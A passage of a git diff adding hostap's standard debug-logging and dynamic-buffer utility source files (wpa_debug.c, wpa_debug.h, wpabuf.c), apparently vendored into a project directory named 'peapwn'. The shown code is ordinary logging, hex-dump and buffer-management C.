/* CONFIG_DEBUG_LINUX_TRACING */ + + +int wpa_debug_level = MSG_INFO; +int wpa_debug_show_keys = 0; +int wpa_debug_timestamp = 0; + + +#ifdef CONFIG_ANDROID_LOG + +#include + +#ifndef ANDROID_LOG_NAME +#define ANDROID_LOG_NAME "wpa_supplicant" +#endif /* ANDROID_LOG_NAME */ + +static int wpa_to_android_level(int level) +{ + if (level == MSG_ERROR) + return ANDROID_LOG_ERROR; + if (level == MSG_WARNING) + return ANDROID_LOG_WARN; + if (level == MSG_INFO) + return ANDROID_LOG_INFO; + return ANDROID_LOG_DEBUG; +} + +#endif /* CONFIG_ANDROID_LOG */ + +#ifndef CONFIG_NO_STDOUT_DEBUG + +#ifdef CONFIG_DEBUG_FILE +static FILE *out_file = NULL; +#endif /* CONFIG_DEBUG_FILE */ + + +void wpa_debug_print_timestamp(void) +{ +#ifndef CONFIG_ANDROID_LOG + struct os_time tv; + + if (!wpa_debug_timestamp) + return; + + os_get_time(&tv); +#ifdef CONFIG_DEBUG_FILE + if (out_file) { + fprintf(out_file, "%ld.%06u: ", (long) tv.sec, + (unsigned int) tv.usec); + } else +#endif /* CONFIG_DEBUG_FILE */ + printf("%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); +#endif /* CONFIG_ANDROID_LOG */ +} + + +#ifdef CONFIG_DEBUG_SYSLOG +#ifndef LOG_HOSTAPD +#define LOG_HOSTAPD LOG_DAEMON +#endif /* LOG_HOSTAPD */ + +void wpa_debug_open_syslog(void) +{ + openlog("wpa_supplicant", LOG_PID | LOG_NDELAY, LOG_HOSTAPD); + wpa_debug_syslog++; +} + + +void wpa_debug_close_syslog(void) +{ + if (wpa_debug_syslog) + closelog(); +} + + +static int syslog_priority(int level) +{ + switch (level) { + case MSG_MSGDUMP: + case MSG_DEBUG: + return LOG_DEBUG; + case MSG_INFO: + return LOG_NOTICE; + case MSG_WARNING: + return LOG_WARNING; + case MSG_ERROR: + return LOG_ERR; + } + return LOG_INFO; +} +#endif /* CONFIG_DEBUG_SYSLOG */ + + +#ifdef CONFIG_DEBUG_LINUX_TRACING + +int wpa_debug_open_linux_tracing(void) +{ + int mounts, trace_fd; + char buf[4096] = {}; + ssize_t buflen; + char *line, *tmp1, *path = NULL; + + mounts = open("/proc/mounts", O_RDONLY); + if (mounts < 0) { + printf("no /proc/mounts\n"); + return -1; + } + + buflen = read(mounts, buf, sizeof(buf) - 1); + close(mounts); + if (buflen < 0) { + printf("failed to read /proc/mounts\n"); + return -1; + } + + line = strtok_r(buf, "\n", &tmp1); + while (line) { + char *tmp2, *tmp_path, *fstype; + /* " ..." */ + strtok_r(line, " ", &tmp2); + tmp_path = strtok_r(NULL, " ", &tmp2); + fstype = strtok_r(NULL, " ", &tmp2); + if (strcmp(fstype, "debugfs") == 0) { + path = tmp_path; + break; + } + + line = strtok_r(NULL, "\n", &tmp1); + } + + if (path == NULL) { + printf("debugfs mountpoint not found\n"); + return -1; + } + + snprintf(buf, sizeof(buf) - 1, "%s/tracing/trace_marker", path); + + trace_fd = open(buf, O_WRONLY); + if (trace_fd < 0) { + printf("failed to open trace_marker file\n"); + return -1; + } + wpa_debug_tracing_file = fdopen(trace_fd, "w"); + if (wpa_debug_tracing_file == NULL) { + close(trace_fd); + printf("failed to fdopen()\n"); + return -1; + } + + return 0; +} + + +void wpa_debug_close_linux_tracing(void) +{ + if (wpa_debug_tracing_file == NULL) + return; + fclose(wpa_debug_tracing_file); + wpa_debug_tracing_file = NULL; +} + +#endif /* CONFIG_DEBUG_LINUX_TRACING */ + + +/** + * wpa_printf - conditional printf + * @level: priority level (MSG_*) of the message + * @fmt: printf format string, followed by optional arguments + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. + * + * Note: New line '\n' is added to the end of the text when printing to stdout. + */ +void wpa_printf(int level, const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (level >= wpa_debug_level) { +#ifdef CONFIG_ANDROID_LOG + __android_log_vprint(wpa_to_android_level(level), + ANDROID_LOG_NAME, fmt, ap); +#else /* CONFIG_ANDROID_LOG */ +#ifdef CONFIG_DEBUG_SYSLOG + if (wpa_debug_syslog) { + vsyslog(syslog_priority(level), fmt, ap); + } else { +#endif /* CONFIG_DEBUG_SYSLOG */ + wpa_debug_print_timestamp(); +#ifdef CONFIG_DEBUG_FILE + if (out_file) { + vfprintf(out_file, fmt, ap); + fprintf(out_file, "\n"); + } else { +#endif /* CONFIG_DEBUG_FILE */ + vprintf(fmt, ap); + printf("\n"); +#ifdef CONFIG_DEBUG_FILE + } +#endif /* CONFIG_DEBUG_FILE */ +#ifdef CONFIG_DEBUG_SYSLOG + } +#endif /* CONFIG_DEBUG_SYSLOG */ +#endif /* CONFIG_ANDROID_LOG */ + } + va_end(ap); + +#ifdef CONFIG_DEBUG_LINUX_TRACING + if (wpa_debug_tracing_file != NULL) { + va_start(ap, fmt); + fprintf(wpa_debug_tracing_file, WPAS_TRACE_PFX, level); + vfprintf(wpa_debug_tracing_file, fmt, ap); + fprintf(wpa_debug_tracing_file, "\n"); + fflush(wpa_debug_tracing_file); + va_end(ap); + } +#endif /* CONFIG_DEBUG_LINUX_TRACING */ +} + + +static void _wpa_hexdump(int level, const char *title, const u8 *buf, + size_t len, int show) +{ + size_t i; + +#ifdef CONFIG_DEBUG_LINUX_TRACING + if (wpa_debug_tracing_file != NULL) { + fprintf(wpa_debug_tracing_file, + WPAS_TRACE_PFX "%s - hexdump(len=%lu):", + level, title, (unsigned long) len); + if (buf == NULL) { + fprintf(wpa_debug_tracing_file, " [NULL]\n"); + } else if (!show) { + fprintf(wpa_debug_tracing_file, " [REMOVED]\n"); + } else { + for (i = 0; i < len; i++) + fprintf(wpa_debug_tracing_file, + " %02x", buf[i]); + } + fflush(wpa_debug_tracing_file); + } +#endif /* CONFIG_DEBUG_LINUX_TRACING */ + + if (level < wpa_debug_level) + return; +#ifdef CONFIG_ANDROID_LOG + { + const char *display; + char *strbuf = NULL; + size_t slen = len; + if (buf == NULL) { + display = " [NULL]"; + } else if (len == 0) { + display = ""; + } else if (show && len) { + /* Limit debug message length for Android log */ + if (slen > 32) + slen = 32; + strbuf = os_malloc(1 + 3 * slen); + if (strbuf == NULL) { + wpa_printf(MSG_ERROR, "wpa_hexdump: Failed to " + "allocate message buffer"); + return; + } + + for (i = 0; i < slen; i++) + os_snprintf(&strbuf[i * 3], 4, " %02x", + buf[i]); + + display = strbuf; + } else { + display = " [REMOVED]"; + } + + __android_log_print(wpa_to_android_level(level), + ANDROID_LOG_NAME, + "%s - hexdump(len=%lu):%s%s", + title, (long unsigned int) len, display, + len > slen ? " ..." : ""); + os_free(strbuf); + return; + } +#else /* CONFIG_ANDROID_LOG */ +#ifdef CONFIG_DEBUG_SYSLOG + if (wpa_debug_syslog) { + const char *display; + char *strbuf = NULL; + + if (buf == NULL) { + display = " [NULL]"; + } else if (len == 0) { + display = ""; + } else if (show && len) { + strbuf = os_malloc(1 + 3 * len); + if (strbuf == NULL) { + wpa_printf(MSG_ERROR, "wpa_hexdump: Failed to " + "allocate message buffer"); + return; + } + + for (i = 0; i < len; i++) + os_snprintf(&strbuf[i * 3], 4, " %02x", + buf[i]); + + display = strbuf; + } else { + display = " [REMOVED]"; + } + + syslog(syslog_priority(level), "%s - hexdump(len=%lu):%s", + title, (unsigned long) len, display); + os_free(strbuf); + return; + } +#endif /* CONFIG_DEBUG_SYSLOG */ + wpa_debug_print_timestamp(); +#ifdef CONFIG_DEBUG_FILE + if (out_file) { + fprintf(out_file, "%s - hexdump(len=%lu):", + title, (unsigned long) len); + if (buf == NULL) { + fprintf(out_file, " [NULL]"); + } else if (show) { + for (i = 0; i < len; i++) + fprintf(out_file, " %02x", buf[i]); + } else { + fprintf(out_file, " [REMOVED]"); + } + fprintf(out_file, "\n"); + } else { +#endif /* CONFIG_DEBUG_FILE */ + printf("%s - hexdump(len=%lu):", title, (unsigned long) len); + if (buf == NULL) { + printf(" [NULL]"); + } else if (show) { + for (i = 0; i < len; i++) + printf(" %02x", buf[i]); + } else { + printf(" [REMOVED]"); + } + printf("\n"); +#ifdef CONFIG_DEBUG_FILE + } +#endif /* CONFIG_DEBUG_FILE */ +#endif /* CONFIG_ANDROID_LOG */ +} + +void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len) +{ + _wpa_hexdump(level, title, buf, len, 1); +} + + +void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len) +{ + _wpa_hexdump(level, title, buf, len, wpa_debug_show_keys); +} + + +static void _wpa_hexdump_ascii(int level, const char *title, const u8 *buf, + size_t len, int show) +{ + size_t i, llen; + const u8 *pos = buf; + const size_t line_len = 16; + +#ifdef CONFIG_DEBUG_LINUX_TRACING + if (wpa_debug_tracing_file != NULL) { + fprintf(wpa_debug_tracing_file, + WPAS_TRACE_PFX "%s - hexdump_ascii(len=%lu):", + level, title, (unsigned long) len); + if (buf == NULL) { + fprintf(wpa_debug_tracing_file, " [NULL]\n"); + } else if (!show) { + fprintf(wpa_debug_tracing_file, " [REMOVED]\n"); + } else { + /* can do ascii processing in userspace */ + for (i = 0; i < len; i++) + fprintf(wpa_debug_tracing_file, + " %02x", buf[i]); + } + fflush(wpa_debug_tracing_file); + } +#endif /* CONFIG_DEBUG_LINUX_TRACING */ + + if (level < wpa_debug_level) + return; +#ifdef CONFIG_ANDROID_LOG + _wpa_hexdump(level, title, buf, len, show); +#else /* CONFIG_ANDROID_LOG */ + wpa_debug_print_timestamp(); +#ifdef CONFIG_DEBUG_FILE + if (out_file) { + if (!show) { + fprintf(out_file, + "%s - hexdump_ascii(len=%lu): [REMOVED]\n", + title, (unsigned long) len); + return; + } + if (buf == NULL) { + fprintf(out_file, + "%s - hexdump_ascii(len=%lu): [NULL]\n", + title, (unsigned long) len); + return; + } + fprintf(out_file, "%s - hexdump_ascii(len=%lu):\n", + title, (unsigned long) len); + while (len) { + llen = len > line_len ? line_len : len; + fprintf(out_file, " "); + for (i = 0; i < llen; i++) + fprintf(out_file, " %02x", pos[i]); + for (i = llen; i < line_len; i++) + fprintf(out_file, " "); + fprintf(out_file, " "); + for (i = 0; i < llen; i++) { + if (isprint(pos[i])) + fprintf(out_file, "%c", pos[i]); + else + fprintf(out_file, "_"); + } + for (i = llen; i < line_len; i++) + fprintf(out_file, " "); + fprintf(out_file, "\n"); + pos += llen; + len -= llen; + } + } else { +#endif /* CONFIG_DEBUG_FILE */ + if (!show) { + printf("%s - hexdump_ascii(len=%lu): [REMOVED]\n", + title, (unsigned long) len); + return; + } + if (buf == NULL) { + printf("%s - hexdump_ascii(len=%lu): [NULL]\n", + title, (unsigned long) len); + return; + } + printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); + while (len) { + llen = len > line_len ? line_len : len; + printf(" "); + for (i = 0; i < llen; i++) + printf(" %02x", pos[i]); + for (i = llen; i < line_len; i++) + printf(" "); + printf(" "); + for (i = 0; i < llen; i++) { + if (isprint(pos[i])) + printf("%c", pos[i]); + else + printf("_"); + } + for (i = llen; i < line_len; i++) + printf(" "); + printf("\n"); + pos += llen; + len -= llen; + } +#ifdef CONFIG_DEBUG_FILE + } +#endif /* CONFIG_DEBUG_FILE */ +#endif /* CONFIG_ANDROID_LOG */ +} + + +void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len) +{ + _wpa_hexdump_ascii(level, title, buf, len, 1); +} + + +void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, + size_t len) +{ + _wpa_hexdump_ascii(level, title, buf, len, wpa_debug_show_keys); +} + + +#ifdef CONFIG_DEBUG_FILE +static char *last_path = NULL; +#endif /* CONFIG_DEBUG_FILE */ + +int wpa_debug_reopen_file(void) +{ +#ifdef CONFIG_DEBUG_FILE + int rv; + if (last_path) { + char *tmp = os_strdup(last_path); + wpa_debug_close_file(); + rv = wpa_debug_open_file(tmp); + os_free(tmp); + } else { + wpa_printf(MSG_ERROR, "Last-path was not set, cannot " + "re-open log file."); + rv = -1; + } + return rv; +#else /* CONFIG_DEBUG_FILE */ + return 0; +#endif /* CONFIG_DEBUG_FILE */ +} + + +int wpa_debug_open_file(const char *path) +{ +#ifdef CONFIG_DEBUG_FILE + if (!path) + return 0; + + if (last_path == NULL || os_strcmp(last_path, path) != 0) { + /* Save our path to enable re-open */ + os_free(last_path); + last_path = os_strdup(path); + } + + out_file = fopen(path, "a"); + if (out_file == NULL) { + wpa_printf(MSG_ERROR, "wpa_debug_open_file: Failed to open " + "output file, using standard output"); + return -1; + } +#ifndef _WIN32 + setvbuf(out_file, NULL, _IOLBF, 0); +#endif /* _WIN32 */ +#endif /* CONFIG_DEBUG_FILE */ + return 0; +} + + +void wpa_debug_close_file(void) +{ +#ifdef CONFIG_DEBUG_FILE + if (!out_file) + return; + fclose(out_file); + out_file = NULL; + os_free(last_path); + last_path = NULL; +#endif /* CONFIG_DEBUG_FILE */ +} + +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +#ifndef CONFIG_NO_WPA_MSG +static wpa_msg_cb_func wpa_msg_cb = NULL; + +void wpa_msg_register_cb(wpa_msg_cb_func func) +{ + wpa_msg_cb = func; +} + + +static wpa_msg_get_ifname_func wpa_msg_ifname_cb = NULL; + +void wpa_msg_register_ifname_cb(wpa_msg_get_ifname_func func) +{ + wpa_msg_ifname_cb = func; +} + + +void wpa_msg(void *ctx, int level, const char *fmt, ...) +{ + va_list ap; + char *buf; + const int buflen = 2048; + int len; + char prefix[130]; + + buf = os_malloc(buflen); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "wpa_msg: Failed to allocate message " + "buffer"); + return; + } + va_start(ap, fmt); + prefix[0] = '\0'; + if (wpa_msg_ifname_cb) { + const char *ifname = wpa_msg_ifname_cb(ctx); + if (ifname) { + int res = os_snprintf(prefix, sizeof(prefix), "%s: ", + ifname); + if (res < 0 || res >= (int) sizeof(prefix)) + prefix[0] = '\0'; + } + } + len = vsnprintf(buf, buflen, fmt, ap); + va_end(ap); + wpa_printf(level, "%s%s", prefix, buf); + if (wpa_msg_cb) + wpa_msg_cb(ctx, level, 0, buf, len); + os_free(buf); +} + + +void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) +{ + va_list ap; + char *buf; + const int buflen = 2048; + int len; + + if (!wpa_msg_cb) + return; + + buf = os_malloc(buflen); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "wpa_msg_ctrl: Failed to allocate " + "message buffer"); + return; + } + va_start(ap, fmt); + len = vsnprintf(buf, buflen, fmt, ap); + va_end(ap); + wpa_msg_cb(ctx, level, 0, buf, len); + os_free(buf); +} + + +void wpa_msg_global(void *ctx, int level, const char *fmt, ...) +{ + va_list ap; + char *buf; + const int buflen = 2048; + int len; + + buf = os_malloc(buflen); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "wpa_msg_global: Failed to allocate " + "message buffer"); + return; + } + va_start(ap, fmt); + len = vsnprintf(buf, buflen, fmt, ap); + va_end(ap); + wpa_printf(level, "%s", buf); + if (wpa_msg_cb) + wpa_msg_cb(ctx, level, 1, buf, len); + os_free(buf); +} + + +void wpa_msg_no_global(void *ctx, int level, const char *fmt, ...) +{ + va_list ap; + char *buf; + const int buflen = 2048; + int len; + + buf = os_malloc(buflen); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "wpa_msg_no_global: Failed to allocate " + "message buffer"); + return; + } + va_start(ap, fmt); + len = vsnprintf(buf, buflen, fmt, ap); + va_end(ap); + wpa_printf(level, "%s", buf); + if (wpa_msg_cb) + wpa_msg_cb(ctx, level, 2, buf, len); + os_free(buf); +} + +#endif /* CONFIG_NO_WPA_MSG */ + + +#ifndef CONFIG_NO_HOSTAPD_LOGGER +static hostapd_logger_cb_func hostapd_logger_cb = NULL; + +void hostapd_logger_register_cb(hostapd_logger_cb_func func) +{ + hostapd_logger_cb = func; +} + + +void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, + const char *fmt, ...) +{ + va_list ap; + char *buf; + const int buflen = 2048; + int len; + + buf = os_malloc(buflen); + if (buf == NULL) { + wpa_printf(MSG_ERROR, "hostapd_logger: Failed to allocate " + "message buffer"); + return; + } + va_start(ap, fmt); + len = vsnprintf(buf, buflen, fmt, ap); + va_end(ap); + if (hostapd_logger_cb) + hostapd_logger_cb(ctx, addr, module, level, buf, len); + else if (addr) + wpa_printf(MSG_DEBUG, "hostapd_logger: STA " MACSTR " - %s", + MAC2STR(addr), buf); + else + wpa_printf(MSG_DEBUG, "hostapd_logger: %s", buf); + os_free(buf); +} +#endif /* CONFIG_NO_HOSTAPD_LOGGER */ diff --git a/peapwn/mods/hostap/src/utils/wpa_debug.h b/peapwn/mods/hostap/src/utils/wpa_debug.h new file mode 100644 index 000000000..2ed1bd8ec --- /dev/null +++ b/peapwn/mods/hostap/src/utils/wpa_debug.h @@ -0,0 +1,323 @@ +/* + * wpa_supplicant/hostapd / Debug prints + * Copyright (c) 2002-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef WPA_DEBUG_H +#define WPA_DEBUG_H + +#include "wpabuf.h" + +/* Debugging function - conditional printf and hex dump. Driver wrappers can + * use these for debugging purposes. */ + +enum { + MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR +}; + +#ifdef CONFIG_NO_STDOUT_DEBUG + +#define wpa_debug_print_timestamp() do { } while (0) +#define wpa_printf(args...) do { } while (0) +#define wpa_hexdump(l,t,b,le) do { } while (0) +#define wpa_hexdump_buf(l,t,b) do { } while (0) +#define wpa_hexdump_key(l,t,b,le) do { } while (0) +#define wpa_hexdump_buf_key(l,t,b) do { } while (0) +#define wpa_hexdump_ascii(l,t,b,le) do { } while (0) +#define wpa_hexdump_ascii_key(l,t,b,le) do { } while (0) +#define wpa_debug_open_file(p) do { } while (0) +#define wpa_debug_close_file() do { } while (0) +#define wpa_dbg(args...) do { } while (0) + +static inline int wpa_debug_reopen_file(void) +{ + return 0; +} + +#else /* CONFIG_NO_STDOUT_DEBUG */ + +int wpa_debug_open_file(const char *path); +int wpa_debug_reopen_file(void); +void wpa_debug_close_file(void); + +/** + * wpa_debug_printf_timestamp - Print timestamp for debug output + * + * This function prints a timestamp in seconds_from_1970.microsoconds + * format if debug output has been configured to include timestamps in debug + * messages. + */ +void wpa_debug_print_timestamp(void); + +/** + * wpa_printf - conditional printf + * @level: priority level (MSG_*) of the message + * @fmt: printf format string, followed by optional arguments + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. + * + * Note: New line '\n' is added to the end of the text when printing to stdout. + */ +void wpa_printf(int level, const char *fmt, ...) +PRINTF_FORMAT(2, 3); + +/** + * wpa_hexdump - conditional hex dump + * @level: priority level (MSG_*) of the message + * @title: title of for the message + * @buf: data buffer to be dumped + * @len: length of the buf + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. The contents of buf is printed out has hex dump. + */ +void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len); + +static inline void wpa_hexdump_buf(int level, const char *title, + const struct wpabuf *buf) +{ + wpa_hexdump(level, title, buf ? wpabuf_head(buf) : NULL, + buf ? wpabuf_len(buf) : 0); +} + +/** + * wpa_hexdump_key - conditional hex dump, hide keys + * @level: priority level (MSG_*) of the message + * @title: title of for the message + * @buf: data buffer to be dumped + * @len: length of the buf + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. The contents of buf is printed out has hex dump. This works + * like wpa_hexdump(), but by default, does not include secret keys (passwords, + * etc.) in debug output. + */ +void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len); + +static inline void wpa_hexdump_buf_key(int level, const char *title, + const struct wpabuf *buf) +{ + wpa_hexdump_key(level, title, buf ? wpabuf_head(buf) : NULL, + buf ? wpabuf_len(buf) : 0); +} + +/** + * wpa_hexdump_ascii - conditional hex dump + * @level: priority level (MSG_*) of the message + * @title: title of for the message + * @buf: data buffer to be dumped + * @len: length of the buf + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. The contents of buf is printed out has hex dump with both + * the hex numbers and ASCII characters (for printable range) are shown. 16 + * bytes per line will be shown. + */ +void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, + size_t len); + +/** + * wpa_hexdump_ascii_key - conditional hex dump, hide keys + * @level: priority level (MSG_*) of the message + * @title: title of for the message + * @buf: data buffer to be dumped + * @len: length of the buf + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. The contents of buf is printed out has hex dump with both + * the hex numbers and ASCII characters (for printable range) are shown. 16 + * bytes per line will be shown. This works like wpa_hexdump_ascii(), but by + * default, does not include secret keys (passwords, etc.) in debug output. + */ +void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, + size_t len); + +/* + * wpa_dbg() behaves like wpa_msg(), but it can be removed from build to reduce + * binary size. As such, it should be used with debugging messages that are not + * needed in the control interface while wpa_msg() has to be used for anything + * that needs to shown to control interface monitors. + */ +#define wpa_dbg(args...) wpa_msg(args) + +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +#ifdef CONFIG_NO_WPA_MSG +#define wpa_msg(args...) do { } while (0) +#define wpa_msg_ctrl(args...) do { } while (0) +#define wpa_msg_global(args...) do { } while (0) +#define wpa_msg_no_global(args...) do { } while (0) +#define wpa_msg_register_cb(f) do { } while (0) +#define wpa_msg_register_ifname_cb(f) do { } while (0) +#else /* CONFIG_NO_WPA_MSG */ +/** + * wpa_msg - Conditional printf for default target and ctrl_iface monitors + * @ctx: Pointer to context data; this is the ctx variable registered + * with struct wpa_driver_ops::init() + * @level: priority level (MSG_*) of the message + * @fmt: printf format string, followed by optional arguments + * + * This function is used to print conditional debugging and error messages. The + * output may be directed to stdout, stderr, and/or syslog based on + * configuration. This function is like wpa_printf(), but it also sends the + * same message to all attached ctrl_iface monitors. + * + * Note: New line '\n' is added to the end of the text when printing to stdout. + */ +void wpa_msg(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); + +/** + * wpa_msg_ctrl - Conditional printf for ctrl_iface monitors + * @ctx: Pointer to context data; this is the ctx variable registered + * with struct wpa_driver_ops::init() + * @level: priority level (MSG_*) of the message + * @fmt: printf format string, followed by optional arguments + * + * This function is used to print conditional debugging and error messages. + * This function is like wpa_msg(), but it sends the output only to the + * attached ctrl_iface monitors. In other words, it can be used for frequent + * events that do not need to be sent to syslog. + */ +void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) +PRINTF_FORMAT(3, 4); + +/** + * wpa_msg_global - Global printf for ctrl_iface monitors + * @ctx: Pointer to context data; this is the ctx variable registered + * with struct wpa_driver_ops::init() + * @level: priority level (MSG_*) of the message + * @fmt: printf format string, followed by optional arguments + * + * This function is used to print conditional debugging and error messages. + * This function is like wpa_msg(), but it sends the output as a global event, + * i.e., without being specific to an interface. For backwards compatibility, + * an old style event is also delivered on one of the interfaces (the one + * specified by the context data). + */ +void wpa_msg_global(void *ctx, int level, const char *fmt, ...) +PRINTF_FORMAT(3, 4); + +/** + * wpa_msg_no_global - Conditional printf for ctrl_iface monitors + * @ctx: Pointer to context data; this is the ctx variable registered + * with struct wpa_driver_ops::init() + * @level: priority level (MSG_*) of the message + * @fmt: printf format string, followed by optional arguments + * + * This function is used to print conditional debugging and error messages. + * This function is like wpa_msg(), but it does not send the output as a global + * event. + */ +void wpa_msg_no_global(void *ctx, int level, const char *fmt, ...) +PRINTF_FORMAT(3, 4); + +typedef void (*wpa_msg_cb_func)(void *ctx, int level, int global, + const char *txt, size_t len); + +/** + * wpa_msg_register_cb - Register callback function for wpa_msg() messages + * @func: Callback function (%NULL to unregister) + */ +void wpa_msg_register_cb(wpa_msg_cb_func func); + +typedef const char * (*wpa_msg_get_ifname_func)(void *ctx); +void wpa_msg_register_ifname_cb(wpa_msg_get_ifname_func func); + +#endif /* CONFIG_NO_WPA_MSG */ + +#ifdef CONFIG_NO_HOSTAPD_LOGGER +#define hostapd_logger(args...) do { } while (0) +#define hostapd_logger_register_cb(f) do { } while (0) +#else /* CONFIG_NO_HOSTAPD_LOGGER */ +void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, + const char *fmt, ...) PRINTF_FORMAT(5, 6); + +typedef void (*hostapd_logger_cb_func)(void *ctx, const u8 *addr, + unsigned int module, int level, + const char *txt, size_t len); + +/** + * hostapd_logger_register_cb - Register callback function for hostapd_logger() + * @func: Callback function (%NULL to unregister) + */ +void hostapd_logger_register_cb(hostapd_logger_cb_func func); +#endif /* CONFIG_NO_HOSTAPD_LOGGER */ + +#define HOSTAPD_MODULE_IEEE80211 0x00000001 +#define HOSTAPD_MODULE_IEEE8021X 0x00000002 +#define HOSTAPD_MODULE_RADIUS 0x00000004 +#define HOSTAPD_MODULE_WPA 0x00000008 +#define HOSTAPD_MODULE_DRIVER 0x00000010 +#define HOSTAPD_MODULE_IAPP 0x00000020 +#define HOSTAPD_MODULE_MLME 0x00000040 + +enum hostapd_logger_level { + HOSTAPD_LEVEL_DEBUG_VERBOSE = 0, + HOSTAPD_LEVEL_DEBUG = 1, + HOSTAPD_LEVEL_INFO = 2, + HOSTAPD_LEVEL_NOTICE = 3, + HOSTAPD_LEVEL_WARNING = 4 +}; + + +#ifdef CONFIG_DEBUG_SYSLOG + +void wpa_debug_open_syslog(void); +void wpa_debug_close_syslog(void); + +#else /* CONFIG_DEBUG_SYSLOG */ + +static inline void wpa_debug_open_syslog(void) +{ +} + +static inline void wpa_debug_close_syslog(void) +{ +} + +#endif /* CONFIG_DEBUG_SYSLOG */ + +#ifdef CONFIG_DEBUG_LINUX_TRACING + +int wpa_debug_open_linux_tracing(void); +void wpa_debug_close_linux_tracing(void); + +#else /* CONFIG_DEBUG_LINUX_TRACING */ + +static inline int wpa_debug_open_linux_tracing(void) +{ + return 0; +} + +static inline void wpa_debug_close_linux_tracing(void) +{ +} + +#endif /* CONFIG_DEBUG_LINUX_TRACING */ + + +#ifdef EAPOL_TEST +#define WPA_ASSERT(a) \ + do { \ + if (!(a)) { \ + printf("WPA_ASSERT FAILED '" #a "' " \ + "%s %s:%d\n", \ + __FUNCTION__, __FILE__, __LINE__); \ + exit(1); \ + } \ + } while (0) +#else +#define WPA_ASSERT(a) do { } while (0) +#endif + +#endif /* WPA_DEBUG_H */ diff --git a/peapwn/mods/hostap/src/utils/wpabuf.c b/peapwn/mods/hostap/src/utils/wpabuf.c new file mode 100644 index 000000000..b257b365c --- /dev/null +++ b/peapwn/mods/hostap/src/utils/wpabuf.c @@ -0,0 +1,303 @@ +/* + * Dynamic data buffer + * Copyright (c) 2007-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "trace.h" +#include "wpabuf.h" + +#ifdef WPA_TRACE +#define WPABUF_MAGIC 0x51a974e3 + +struct wpabuf_trace { + unsigned int magic; +}; + +static struct wpabuf_trace * wpabuf_get_trace(const struct wpabuf *buf) +{ + return (struct wpabuf_trace *) + ((const u8 *) buf - sizeof(struct wpabuf_trace)); +} +#endif /* WPA_TRACE */ + + +static void wpabuf_overflow(const struct wpabuf *buf, size_t len) +{ +#ifdef WPA_TRACE + struct wpabuf_trace *trace = wpabuf_get_trace(buf); + if (trace->magic != WPABUF_MAGIC) { + wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", + trace->magic); + } +#endif /* WPA_TRACE */ + wpa_printf(MSG_ERROR, "wpabuf %p (size=%lu used=%lu) overflow len=%lu", + buf, (unsigned long) buf->size, (unsigned long) buf->used, + (unsigned long) len); + wpa_trace_show("wpabuf overflow"); + abort(); +} + + +int wpabuf_resize(struct wpabuf **_buf, size_t add_len) +{ + struct wpabuf *buf = *_buf; +#ifdef WPA_TRACE + struct wpabuf_trace *trace; +#endif /* WPA_TRACE */ + + if (buf == NULL) { + *_buf = wpabuf_alloc(add_len); + return *_buf == NULL ? -1 : 0; + } + +#ifdef WPA_TRACE + trace = wpabuf_get_trace(buf); + if (trace->magic != WPABUF_MAGIC) { + wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", + trace->magic); + wpa_trace_show("wpabuf_resize invalid magic"); + abort(); + } +#endif /* WPA_TRACE */ + + if (buf->used + add_len > buf->size) { + unsigned char *nbuf; + if (buf->flags & WPABUF_FLAG_EXT_DATA) { + nbuf = os_realloc(buf->buf, buf->used + add_len); + if (nbuf == NULL) + return -1; + os_memset(nbuf + buf->used, 0, add_len); + buf->buf = nbuf; + } else { +#ifdef WPA_TRACE + nbuf = os_realloc(trace, sizeof(struct wpabuf_trace) + + sizeof(struct wpabuf) + + buf->used + add_len); + if (nbuf == NULL) + return -1; + trace = (struct wpabuf_trace *) nbuf; + buf = (struct wpabuf *) (trace + 1); + os_memset(nbuf + sizeof(struct wpabuf_trace) + + sizeof(struct wpabuf) + buf->used, 0, + add_len); +#else /* WPA_TRACE */ + nbuf = os_realloc(buf, sizeof(struct wpabuf) + + buf->used + add_len); + if (nbuf == NULL) + return -1; + buf = (struct wpabuf *) nbuf; + os_memset(nbuf + sizeof(struct wpabuf) + buf->used, 0, + add_len); +#endif /* WPA_TRACE */ + buf->buf = (u8 *) (buf + 1); + *_buf = buf; + } + buf->size = buf->used + add_len; + } + + return 0; +} + + +/** + * wpabuf_alloc - Allocate a wpabuf of the given size + * @len: Length for the allocated buffer + * Returns: Buffer to the allocated wpabuf or %NULL on failure + */ +struct wpabuf * wpabuf_alloc(size_t len) +{ +#ifdef WPA_TRACE + struct 